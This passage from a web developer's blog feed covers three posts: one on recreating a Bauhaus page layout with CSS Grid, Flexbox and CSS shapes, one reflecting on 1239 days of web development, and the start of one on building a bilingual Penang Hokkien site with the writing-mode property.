&lt;p&gt;As I worked my way through the properties, I started off building very basic grids, just to see how each property value worked. If you&apos;ve seen the syntax for &lt;code&gt;grid-template-rows&lt;/code&gt; in the specification, you&apos;ll realise that this was not a trivial task. Grid itself is not hard to learn. But because it was built to be very flexible and powerful, you&apos;ll need to spend a bit more time to get to know Grid.&lt;/p&gt;
&lt;p&gt;A few of those basic grids grew into proper demos. Some demos were inspired by conversations with people from the &lt;a href=&quot;https://www.meetup.com/CSS-Layout-Club/&quot;&gt;CSS Layout Club&lt;/a&gt;. I&apos;m also auditing &lt;a href=&quot;https://www.coursera.org/learn/graphic-design-history/home/welcome&quot;&gt;Ideas from the History of Graphic Design&lt;/a&gt; on Coursera, so plenty of inspiration from there too (last week was Bauhaus week &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;).&lt;/p&gt;
&lt;p&gt;I came across this page from Malerei, Fotografie, Film by László Moholy-Nagy which was laid out in a grid and the first thought that popped into my mind was, that can be done in CSS...I think. Well, only one way to find out.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Page 126 of Malerei, Fotografie, Film&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/bauhaus/126-640.jpg&quot;
    srcset=&quot;/images/posts/bauhaus/126-480.jpg 480w, /images/posts/bauhaus/126-640.jpg 640w, /images/posts/bauhaus/126-960.jpg 960w, /images/posts/bauhaus/126-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Page 126 of Malerei, Fotografie, Film&quot;
  /&gt;
&lt;/figure&gt;
&lt;h2&gt;Bauhaus in my browser&lt;/h2&gt;
&lt;p&gt;Here&apos;s my process. I drew grid lines over the image in Sketch so I could figure out how many columns I needed. For this case, it worked out to be 1 large column followed by 5 narrower columns of equal width and I let the browser figure out the row heights.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid {
  display: grid;
  grid-template-columns: 30% 9% 9% 9% 9% 9%;
  justify-content: center; /* to justify the grid in the middle of the container */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that, it was a whole bunch of placement code with the &lt;code&gt;grid-row&lt;/code&gt; and &lt;code&gt;grid-column&lt;/code&gt; properties. But if you look at the original image again, you&apos;ll see that the content in each grid cell is have their own alignment. Like the first cell&apos;s contents are flush to the right, the word in the second cell is flush left and bottom, and so on.&lt;/p&gt;
&lt;p&gt;My first instinct, since I got this whole box alignment thing all figured now, was to apply &lt;code&gt;justify-self&lt;/code&gt; and &lt;code&gt;align-self&lt;/code&gt; where necessary to adjust the content positions within each grid cell. Nice try, close but no cigar. The issue with doing that is these 2 properties affect the amount of space occupied by the grid cell.&lt;/p&gt;
&lt;p&gt;The Bauhaus design has a lot of striking black borders around each grid cell. The border property applies onto the grid item. Any grid alignment property other than &lt;code&gt;stretch&lt;/code&gt; will make the size of the grid item fit to its contents. Any borders applied to grid items naturally fit the grid item&apos;s contents, so I couldn&apos;t do that, it messed up the design.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;These are not the borders you&apos;re looking for&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/bauhaus/fit.svg&quot; alt=&quot;Diagram of grid items fitting to content size&quot; /&gt;
&lt;/figure&gt;
&lt;h2&gt;Flexbox to the rescue&lt;/h2&gt;
&lt;p&gt;By default, all grid items behave as if their alignment had been set to &lt;code&gt;stretch&lt;/code&gt; on either axis. So I left that alone, to allow the grid to actually look like a grid. Instead, I applied &lt;code&gt;display: flex&lt;/code&gt; to the grid item, allowing me to use flex alignment properties applied on the flex container to position my grid item&apos;s content. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;That&apos;s more like it&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/bauhaus/flex.svg&quot; alt=&quot;Positioned content within grid cell&quot; /&gt;
&lt;/figure&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid__item:nth-child(5) {
  grid-row: 3 / 5;
  border-right: 1em solid;
  padding: 1em;

  display: flex;
  align-items: flex-start;
  justify-content: flex-end;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code looks something like that, but my point is, this is a great technique for building layouts. Grid for the grand scheme of things, and Flexbox for specific adjustments. Here&apos;s the Codepen link if anybody is interested in the final result.&lt;/p&gt;
&lt;p
  data-height=&quot;300&quot;
  data-theme-id=&quot;9162&quot;
  data-slug-hash=&quot;PpqomV&quot;
  data-default-tab=&quot;css,result&quot;
  data-user=&quot;huijing&quot;
  data-embed-version=&quot;2&quot;
  data-pen-title=&quot;Malerei, Fotografie, Film (pg. 126)&quot;
  class=&quot;codepen&quot;
&gt;
  See the Pen{&quot; &quot;}
  &lt;a href=&quot;http://codepen.io/huijing/pen/PpqomV/&quot;&gt;Malerei, Fotografie, Film (pg. 126)&lt;/a&gt; by Chen
  Hui Jing (&lt;a href=&quot;http://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on{&quot; &quot;}
  &lt;a href=&quot;http://codepen.io&quot;&gt;CodePen&lt;/a&gt;.
&lt;/p&gt;
&lt;h2&gt;Bonus segment: CSS shapes&lt;/h2&gt;
&lt;p&gt;Other than the 2 photographs on the page, everything else is CSS, which means the arrow and the gear are actually styled &lt;code&gt;div&lt;/code&gt;s. I love making CSS shapes, single &lt;code&gt;div&lt;/code&gt;, if possible. You just need a few handy properties to help you, &lt;code&gt;box-shadow&lt;/code&gt;, &lt;code&gt;border&lt;/code&gt; and pseudo-elements.&lt;/p&gt;
&lt;h3&gt;Arrow&lt;/h3&gt;
&lt;p&gt;Arrows are pretty straight-forward. You just need 1 extra pseudo-element for the arrow-head. Make the &lt;code&gt;div&lt;/code&gt; the body of the arrow, and give it &lt;code&gt;position: relative&lt;/code&gt; so you can absolutely position the arrow head relative to the body. The arrow head is a triangle, which can be made using the border trick.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.arrow {
  width: 0.5em;
  height: 65%;
  background-color: #000;
  position: relative;

  &amp;amp;::after {
    display: block;
    content: &amp;quot;&amp;quot;;
    position: absolute;
    left: 50%;
    transform: translateX(-50%);
    bottom: -1em;
    border-style: solid;
    border-width: 1em 1em 0 1em;
    border-color: #000 transparent transparent transparent;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Gear&lt;/h3&gt;
&lt;p&gt;This was a little bit more tricky. The gear body itself is a circle, which is &lt;code&gt;border-radius: 50%&lt;/code&gt;, but the gear teeth will need more trickery. I couldn&apos;t do it with a single &lt;code&gt;div&lt;/code&gt; this time (though if anyone can, please tell me how). I had an additional inner &lt;code&gt;div&lt;/code&gt; to help with the gear teeth. The good thing is that all the gear teeth are the same shape, so the &lt;code&gt;box-shadow&lt;/code&gt; trick can be used here.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.gear {
  height: 5em;
  width: 5em;
  background-color: #000;
  border-radius: 50%;
  position: relative;

  &amp;amp;::before,
  &amp;amp;::after {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    display: block;
    content: &amp;quot;&amp;quot;;
  }

  &amp;amp;::before {
    height: 3em;
    width: 1em;
    box-shadow: 0em -3em 0em 0em #000, 0em 3em 0 0em #000;
  }

  &amp;amp;::after {
    height: 1em;
    width: 3em;
    box-shadow: 3em 0 0em 0em #000, -3em 0 0 0em #000;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The gear body and the 4 compass direction gear teeth were made with a single &lt;code&gt;div&lt;/code&gt; and its 2 corresponding pseudo-elements. For the other 4 gear teeth, I used the inner &lt;code&gt;div&lt;/code&gt; with pseudo-elements then rotated the &lt;code&gt;box-shadow&lt;/code&gt;s. I still need to figure out the &lt;code&gt;transform-origin&lt;/code&gt; issue because I think it looks a bit asymmetrical at the moment.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.inner-gear {
  height: 2em;
  width: 2em;
  border-radius: 50%;
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  background-color: #e1e1d5;

  &amp;amp;::before,
  &amp;amp;::after {
    position: absolute;
    display: block;
    content: &amp;quot;&amp;quot;;
  }

  &amp;amp;::before {
    height: 3em;
    width: 1em;
    box-shadow: 0em -3em 0em 0em #000, 0em 3em 0 0em #000;
    transform: rotate(45deg);
    transform-origin: (75% 75%);
  }

  &amp;amp;::after {
    height: 1em;
    width: 3em;
    box-shadow: 3em 0 0em 0em #000, -3em 0 0 0em #000;
    transform: rotate(45deg);
    transform-origin: (25% 75%);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I find Grid really awesome, and I&apos;m obviously not the only person who thinks so. &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt; has compiled a list of really good Grid resources so check out &lt;a href=&quot;https://web.archive.org/web/20190305235601/http://jensimmons.com/post/feb-27-2017/learn-css-grid&quot;&gt;Learn CSS Grid&lt;/a&gt; and try building something with Grid. You won&apos;t regret it. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;grinning face with smiling eyes&quot;&gt;😁&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>1239 days working on the web</title><link>https://chenhuijing.com/blog/1239-days-as-a-web-developer/</link><guid isPermaLink="true">https://chenhuijing.com/blog/1239-days-as-a-web-developer/</guid><description>Almost 2 years ago, I wrote a post called 542 days as a Drupal developer. Many more days have passed since then and I mentioned at the end of the post I hoped…</description><pubDate>Tue, 21 Feb 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Almost 2 years ago, I wrote a post called &lt;a href=&quot;/blog/542-days-as-a-drupal-developer/&quot;&gt;542 days as a Drupal developer&lt;/a&gt;. Many more days have passed since then and I mentioned at the end of the post I hoped that I would still love doing this 5420 days in. So consider this a checkpoint post. I&apos;m no longer doing Drupal full-time now, instead focusing on front-end work.&lt;/p&gt;
&lt;p&gt;The 4 points that I covered in that earlier post still apply though. I still learn on the job (a lot), and have been lucky to have mentors who are patient enough to explain things to me. And don&apos;t get me started on building stuff, I have loads of tiny projects that were built because “I felt like it”. As for meet-ups, I now &lt;a href=&quot;https://singaporecss.github.io/&quot;&gt;run one&lt;/a&gt; too &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;!&lt;/p&gt;
&lt;p&gt;This past weekend, I helped out with a &lt;a href=&quot;http://www.techladies.co/&quot;&gt;TechLadies&lt;/a&gt; workshop in Kuala Lumpur. TechLadies is the brainchild of &lt;a href=&quot;http://elishatan.com/&quot;&gt;Elisha Tan&lt;/a&gt;, and is a community for women in Asia to connect, learn, and advance as programmers in the tech industry. (Copied that verbatim off their website &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue&quot;&gt;😛&lt;/span&gt;) At the end of the workshop, we had a mini-panel for the participants to ask questions, especially since most of us did not have a formal Computer Science education, yet managed to find ourselves working in tech.&lt;/p&gt;
&lt;p&gt;If you&apos;ve read some of my other posts, or watched me speak, you&apos;ll realise that I tend to go off on tangents (and also flail my hands a lot). So someone asked a question about what was the steepest learning curve we encountered when learning to code and I gave a 5 minute answer that, in retrospect, did not actually answer the original question &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pensive face&quot;&gt;😔&lt;/span&gt;, but was &lt;a href=&quot;https://www.facebook.com/elishatan88/videos/10154861278247597/&quot;&gt;apparently inspiring&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;This is a tangent...&lt;/h2&gt;
&lt;p&gt;Because the audience were people who had no prior experience with code or programming, I felt it was necessary to bust the myth that programming is easy. This is my personal opinion, and you may not agree, but telling people programming is easy is a lie. It may be easy to get started with actually writing some code that does something, but there is a lot of underlying principles that take time and effort to comprehend before we can create something decent.&lt;/p&gt;
&lt;p&gt;I&apos;m not saying you need to know all the things before you are allowed to write code. But we need to accept that a lot of the code we write, especially as we&apos;re getting started, will be bad code. And a lot of the things we do “just to get things done”, may be bad practices. The key thing here is, how much do you care? If you don&apos;t care, it really doesn&apos;t matter as long as the thing runs, right?&lt;/p&gt;
&lt;p&gt;Well, I care. I care that badly built websites take forever to load, sap users&apos; data plans and are hard to use. And once you care enough, you will be willing to put in the time and effort to learn better practices, and figure out how things work under the hood to optimise your code and make it run better. I don&apos;t think you can care much about something you&apos;re not interested in. Because if it&apos;s not interesting to you, you will not want to come back when frustration gets the better of you.&lt;/p&gt;
&lt;p&gt;Now that we&apos;ve established that I still care and am interested after 1239 days, here&apos;s some more stuff I did that was helpful to my learning process.&lt;/p&gt;
&lt;h2&gt;Write about the stuff you learnt&lt;/h2&gt;
&lt;p&gt;I had been writing about everything I&apos;d done from the start, largely for the purposes of documentation. I could refer to old posts if I ever encountered the same problem again. So there are a bunch of posts that are just step-by-step instructions with screenshots (turns out people have real jobs doing this). But I also realised that writing about concepts in my own words forced me to really understand them. So I also started writing about HTML and CSS.&lt;/p&gt;
&lt;p&gt;And with my penchant for diving into rabbit holes, I started to get really interested in how HTML and CSS developed over the years, how browsers worked, how the Internet worked and so on. Which is why I now read CSS specifications and follow along what goes on at the &lt;a href=&quot;https://www.w3.org/blog/CSS/&quot;&gt;CSS Working Group&lt;/a&gt; on &lt;a href=&quot;https://github.com/w3c/csswg-drafts&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sometimes writing about your own experiences can also be helpful to other people who may feel the same way. I don&apos;t write technical posts all the time. This post isn&apos;t technical at all. But writing is the solidification of your thoughts and ideas into something tangible, and the act of writing can organise them such that you can better understand what you&apos;re thinking.&lt;/p&gt;
&lt;p&gt;It&apos;s also an experience to submit a piece to a publication. I&apos;ve written for &lt;a href=&quot;https://alistapart.com/&quot;&gt;A List Apart&lt;/a&gt; and now am a contributor to the &lt;a href=&quot;https://tympanus.net/codrops/css_reference/&quot;&gt;Codrops CSS reference&lt;/a&gt;. Writing for yourself is one thing, but writing for a publication that has a significant readership is something else. There are standards to adhere to, and editors who will go through your writing to ensure your article is polished before publication.&lt;/p&gt;
&lt;p&gt;Usually the pieces that get rejected are those that aren&apos;t very coherent. A problem of mine, because I tend to write like a stream of conciousness. Having an editor comb through my writing has made me a better writer. I still have a long way to go, but I think I&apos;m better now than when I first started out.&lt;/p&gt;
&lt;h2&gt;Talk about the stuff you learnt&lt;/h2&gt;
&lt;p&gt;I&apos;ve also started speaking at meet-ups. My first talk was at &lt;a href=&quot;https://www.meetup.com/Singapore-JS/&quot;&gt;Talk.JS&lt;/a&gt;, but I spoke about &lt;a href=&quot;https://engineers.sg/video/using-responsive-images-now-talk-js--269&quot;&gt;the picture element&lt;/a&gt; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;. After running &lt;a href=&quot;https://singaporecss.github.io/&quot;&gt;Talk.CSS&lt;/a&gt;, I also ended up being a pretty regular speaker at my own meet-up because it&apos;s hard to find speakers sometimes. To me, speaking comes after writing. As I mentioned before, writing helps with the organisation of thoughts and ideas. You don&apos;t have to write before you speak, but the act of writing, at least for myself, makes me formulate more coherent words.&lt;/p&gt;
&lt;p&gt;After hosting &lt;a href=&quot;https://2015.cssconf.asia/&quot;&gt;CSSConf.Asia 2015&lt;/a&gt;, I spoke at &lt;a href=&quot;https://2016.cssconf.asia/&quot;&gt;CSSConf.Asia 2016&lt;/a&gt; at the end of last year. That was my first ever conference talk, and I spoke about &lt;a href=&quot;https://www.youtube.com/watch?v=gJA5sdyCWNQ&quot;&gt;learning how to CSS&lt;/a&gt; by writing, speaking and building stuff. I definitely spent a lot more time preparing for the conference talk because, you know, people paid to show up, and I didn&apos;t want to waste anyone&apos;s hard-earned cash.&lt;/p&gt;
&lt;p&gt;I was never uncomfortable with public speaking, but I&apos;m pretty aware of how I sound when I speak, so I really didn&apos;t want to trip over my words, or have periods of awkward silence where I suddenly blank out on what I wanted to say. So I rehearsed that talk for about a week every day while I commuted to work on my bicycle. Overall, it was fun, and I got to meet and chat with some really rock-star speakers, like &lt;a href=&quot;http://lea.verou.me/&quot;&gt;Lea Verou&lt;/a&gt;, &lt;a href=&quot;http://sarahdrasnerdesign.com/&quot;&gt;Sarah Drasner&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/svgeesus&quot;&gt;Chris Lilley&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Never forget how it felt like to suck&lt;/h2&gt;
&lt;p&gt;Being involved with TechLadies has been a very good learning experience. I have not been doing this for all that long, and together with all the posts I&apos;ve written, there are constant reminders of how I stumbled along all over the place. There is a tendency, as we learn things and get better, to take certain things for granted. This is applicable to more than just writing code.&lt;/p&gt;
&lt;p&gt;Everyone had to start somewhere. Nobody came out of the womb already knowing how to walk. But odds are, most of us can&apos;t remember how it felt like learning how to walk when we were toddlers. Walking is something I take for granted sometimes. I get reminded that we are all just temporarily able-bodied whenever I get injured playing basketball.&lt;/p&gt;
&lt;p&gt;But when it comes to knowledge, it is less common to have it just taken away from you. In my limited experience, barring traumatic brain injury or some degenerative brain condition, you can&apos;t suddenly unlearn what is familiar to you (someone please correct me on this). It is easier to take knowledge for granted, especially knowledge that we gained long ago and has since become second nature.&lt;/p&gt;
&lt;p&gt;I&apos;ve been very lucky to have grown up in a household that had computers in the house. My first operating system was MS-DOS and I learned early on that typing certain commands in the terminal would allow me to play games. Even though I got into web development much later in life, my prior knowledge about how computers worked made things easier to a certain extent. For people who have only ever experienced GUIs and installed software via installation wizards, there&apos;s a lot more to learn before things make sense.&lt;/p&gt;
&lt;p&gt;I value the opportunities to teach workshops to beginner-level participants because the questions they ask show me how everyone, because of their diverse life experiences, will approach and understand the same problem differently. I end up coming up with various analogies to explain concepts in a non-technical way that make me think about those concepts in a completely new way as well. These “so-called” beginners are actually making me understand what I thought I already knew even better.&lt;/p&gt;
&lt;h2&gt;Rounding things off&lt;/h2&gt;
&lt;p&gt;So that was the 20% checkpoint post, and it appears that I still love doing this web development thing. I&apos;ve gotten a bit more opinionated since then, and also discovered even more things that I don&apos;t know. What I do know is that I will probably never get bored doing this.&lt;br&gt;
Exasperated? Sure.&lt;br&gt;
Frustrated? Definitely.&lt;br&gt;
&lt;span class=&quot;kaomoji&quot;&gt;(╯°□°）╯︵ ┻━┻&lt;/span&gt; will probably occur in perpetuity.&lt;br&gt;
But bored?&lt;br&gt;
Never. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>The one about home</title><link>https://chenhuijing.com/blog/the-one-about-home/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-about-home/</guid><description>At the end of 2016, I published a website called Penang Hokkien 槟城福建话. Just a few months prior, I had started playing around with the CSS writing-mode property…</description><pubDate>Fri, 06 Jan 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At the end of 2016, I published a website called &lt;a href=&quot;http://penang-hokkien.gitlab.io&quot;&gt;Penang Hokkien 槟城福建话&lt;/a&gt;. Just a few months prior, I had started playing around with the CSS writing-mode property after having a random thought on my daily bicycle commute to work. That grew into a really long blog post on &lt;a href=&quot;/blog/chinese-web-typography/&quot;&gt;Chinese typography on the web&lt;/a&gt;, and an experimental &lt;a href=&quot;https://huijing.github.io/zh-type/&quot;&gt;layout-switching demo&lt;/a&gt;. During that period, I also discovered the &lt;a href=&quot;http://penanghokkien.com/&quot;&gt;Penang Hokkien Podcast&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Penang Hokkien is a variant of the Hokkien dialect that is unique to the northern states of Malaysia, and is essentially the lingua franca of Penang. It is also my mother tongue, and the main language spoken within my household. Penang Hokkien holds a special place in my heart. It represents where I come, where I belong, it is the language of home.&lt;/p&gt;
&lt;p&gt;Given that building websites is one of those things that I&apos;m sort of decent at, I figured I&apos;d build a website dedicated to Penang Hokkien, specifically, stories about the unique usage of certain words and phrases that aren&apos;t used elsewhere. And because I also LOVE playing with CSS, it was an excuse to extend my earlier writing-mode demo into a fully-fledged website.&lt;/p&gt;
&lt;h2&gt;Some logistical decisions&lt;/h2&gt;
&lt;p&gt;All my previous demos and random side-projects were hosted on GitHub as project pages tied to my user account. I&apos;m too cheap to buy additional domain names, so all of them are subsites of &lt;a href=&quot;http://www.chenhuijing.com&quot;&gt;www.chenhuijing.com&lt;/a&gt; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;. But I really wanted this site to stand alone.&lt;/p&gt;
&lt;p&gt;Sometime last year, I learned that &lt;a href=&quot;https://about.gitlab.com/gitlab-com/&quot;&gt;GitLab&lt;/a&gt; had &lt;a href=&quot;https://pages.gitlab.io/&quot;&gt;GitLab Pages&lt;/a&gt; and always wanted to try it out, but never had a compelling reason to. Until now. It wasn&apos;t the smoothest experience (largely due to my own ineptitude), but it wasn&apos;t terrible either. And I kinda like GitLab to begin with anyway. I &lt;a href=&quot;/blog/hosting-static-site-gitlab-pages/&quot;&gt;wrote about the experience&lt;/a&gt; as well.&lt;/p&gt;
&lt;h2&gt;Flexing the brain muscles&lt;/h2&gt;
&lt;p&gt;Content creation is not easy. If you find it easy, well, good for you then. I tend to write English more often, simply because English is the main language used in my industry. I use Chinese mostly when speaking, or messaging my friends. And I speak Hokkien with family or go back to Penang.&lt;/p&gt;
&lt;p&gt;Even though I&apos;m lucky enough to have learnt English and Chinese reasonably well, I sometimes still fall into the trap of direct translation. It depends on whether I&apos;m thinking in English or Chinese at the time. Most of the time, I&apos;ll catch these when I do a second read-through. In fact, the best thing to do (at least for me) is to do the editing after taking a nap. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;upside-down face&quot;&gt;🙃&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There are also times when you find there is no good English equivalent for a certain Chinese phrase or vice versa. Those are the times that make my brain hurt. And because I made the ridiculous decision to record a Penang Hokkien version of each story, there&apos;s a second round to translation to be done. So content creation for this site was quite the workout for the linguistic part of my brain.&lt;/p&gt;
&lt;h2&gt;Some of the fun stuff&lt;/h2&gt;
&lt;p&gt;I wanted the site to be fully-responsive and cross-browser compatible. It definitely does NOT have to look the same in every browser but there shouldn&apos;t be situations where broken layouts compromise content consumption. I want to yet again shout-out &lt;a href=&quot;https://www.browsersync.io/&quot;&gt;Browsersync&lt;/a&gt; which made testing so much easier.&lt;/p&gt;
&lt;h3&gt;Switchy-switchy&lt;/h3&gt;
&lt;p&gt;In my first &lt;a href=&quot;https://huijing.github.io/zh-type&quot;&gt;writing-mode demo&lt;/a&gt;, I had a checkbox that toggled between horizontal and vertical writing modes. In that case, it was the same block of content, displayed differently (via a CSS class).&lt;/p&gt;
&lt;p&gt;This site utilised a similar concept, in that there would be a toggle, but this time it&apos;d be to switch between 2 blocks of content. The same technique used for &lt;a href=&quot;http://codepen.io/huijing/pen/qOLXmy&quot;&gt;pure CSS tabs&lt;/a&gt;, just that the &amp;quot;tabs&amp;quot; would be styled to look like buttons.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Clicky-clicky&lt;/figcaption&gt;
  &lt;video controls=&quot;&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
    &lt;source src=&quot;/videos/toggle.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/toggle.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
    favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;section class=&amp;quot;c-intro&amp;quot;&amp;gt;
  &amp;lt;input type=&amp;quot;radio&amp;quot; name=&amp;quot;language&amp;quot; id=&amp;quot;lang-en&amp;quot; class=&amp;quot;l-toggle__en&amp;quot; /&amp;gt;
  &amp;lt;label for=&amp;quot;lang-en&amp;quot;&amp;gt;
    &amp;lt;span class=&amp;quot;lang-toggle__en&amp;quot;&amp;gt;English&amp;lt;/span&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;input type=&amp;quot;radio&amp;quot; name=&amp;quot;language&amp;quot; id=&amp;quot;lang-zh&amp;quot; class=&amp;quot;l-toggle__zh&amp;quot; checked=&amp;quot;checked&amp;quot; /&amp;gt;
  &amp;lt;label for=&amp;quot;lang-zh&amp;quot;&amp;gt;
    &amp;lt;span class=&amp;quot;lang-toggle__zh&amp;quot; lang=&amp;quot;zh&amp;quot;&amp;gt;中文&amp;lt;/span&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;div class=&amp;quot;l-lang__en c-lang__en&amp;quot;&amp;gt;
    &amp;lt;h2&amp;gt;What is Penang Hokkien?&amp;lt;/h2&amp;gt;
    &amp;lt;p&amp;gt;
      Penang Hokkien is a variant of the Hokkien dialect that is unique to Penang, Malaysia. Hokkien
      originated from the southern Fujian province in the Minnan region of China. As the Chinese
      settlers integrated themselves into the local community, they started incorporating indigenous
      words into their language. Penang Hokkien is an integral part of our cultural heritage and
      there has been a movement to rejuvenate interest and prevent the language from dying out.
    &amp;lt;/p&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;l-lang__zh c-lang__zh&amp;quot; lang=&amp;quot;zh&amp;quot;&amp;gt;
    &amp;lt;h2&amp;gt;槟城福建话是什么？&amp;lt;/h2&amp;gt;
    &amp;lt;p&amp;gt;
      槟城福建话是闽南语的一个域外变体，是槟城文化的特点之一。闽南语出自于中国的福建省。中国和马来群岛之间频密的商业活动，导致数多华侨渐渐定居于槟城。在融入本土社会的当儿，语言上也开始向本土语言借词。槟城福建话是槟城文化的栋梁之一。由于学校及家长们不注重方言，许多年轻一代的槟城人只会说些简单的福建话。槟城福建话有走向衰落的趋势。为了防止槟城福建话的灭绝，近几年也开始引起了推动讲福建话风气的活动。
    &amp;lt;/p&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/section&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;writing-mode&lt;/code&gt; property was applied to the Chinese content wrapper.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.l-lang__zh {
  text-align: justify;
  writing-mode: vertical-rl;
  max-height: 13em;
  overflow-x: auto;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The trickiest part about having mixed writing-modes is centring content. I&apos;m guessing mixed writing-modes is not a common use case and the behaviour is pretty inconsistent across browsers. My primary development environment is Chrome on Mac OS, and things tend to render nicely in this environment. So if you play around with experimental features, be sure to check other browsers frequently.&lt;/p&gt;
&lt;h3&gt;I &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt; neon lights&lt;/h3&gt;
&lt;p&gt;For the &lt;em&gt;About&lt;/em&gt; page, I applied the &lt;code&gt;writing-mode: vertical-rl&lt;/code&gt; property to the entire &lt;code&gt;&amp;lt;main&amp;gt;&lt;/code&gt; element instead, then modified individual bits to display horizontally where needed. And here I saw an opportunity to put in some CSS fanciness for the page title.&lt;/p&gt;
&lt;p&gt;I first learned about Chromatic Fonts on the web back in March 2016 from &lt;a href=&quot;https://pixelambacht.nl/&quot;&gt;Roel Nieskens&lt;/a&gt; when he published &lt;a href=&quot;https://pixelambacht.nl/2016/building-bixa-color/&quot;&gt;Building Bixa Color, a color font for the web&lt;/a&gt;. And some time later, he pointed me to &lt;a href=&quot;https://djr.com/bungee/&quot;&gt;Bungee&lt;/a&gt;, another multi-colour font. What&apos;s special about Bungee is that it is also optimised for vertical typography.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Wide screen view&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/pghk/about-wide.jpg&quot;
      srcset=&quot;/images/posts/pghk/about-wide@2x.jpg 2x&quot;
      alt=&quot;Wide view of About page title&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Narrow screen view&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/pghk/about-narrow.jpg&quot;
      srcset=&quot;/images/posts/pghk/about-narrow@2x.jpg 2x&quot;
      alt=&quot;Narrow view of About page title&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Vertical neon signs are a pretty common sight in urban areas which are predominantly Chinese and I wanted that effect, with CSS! Here&apos;s where the &lt;code&gt;text-shadow&lt;/code&gt; property comes in handy, perfect for that glowing effect. Bungee comes with font-feature-settings that kern it vertically, but you have to explicitly set them via CSS.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.c-title {
  background: #313b4a;
  color: #fff;
  border-radius: 0.5em;
  border: 1px solid #fff;
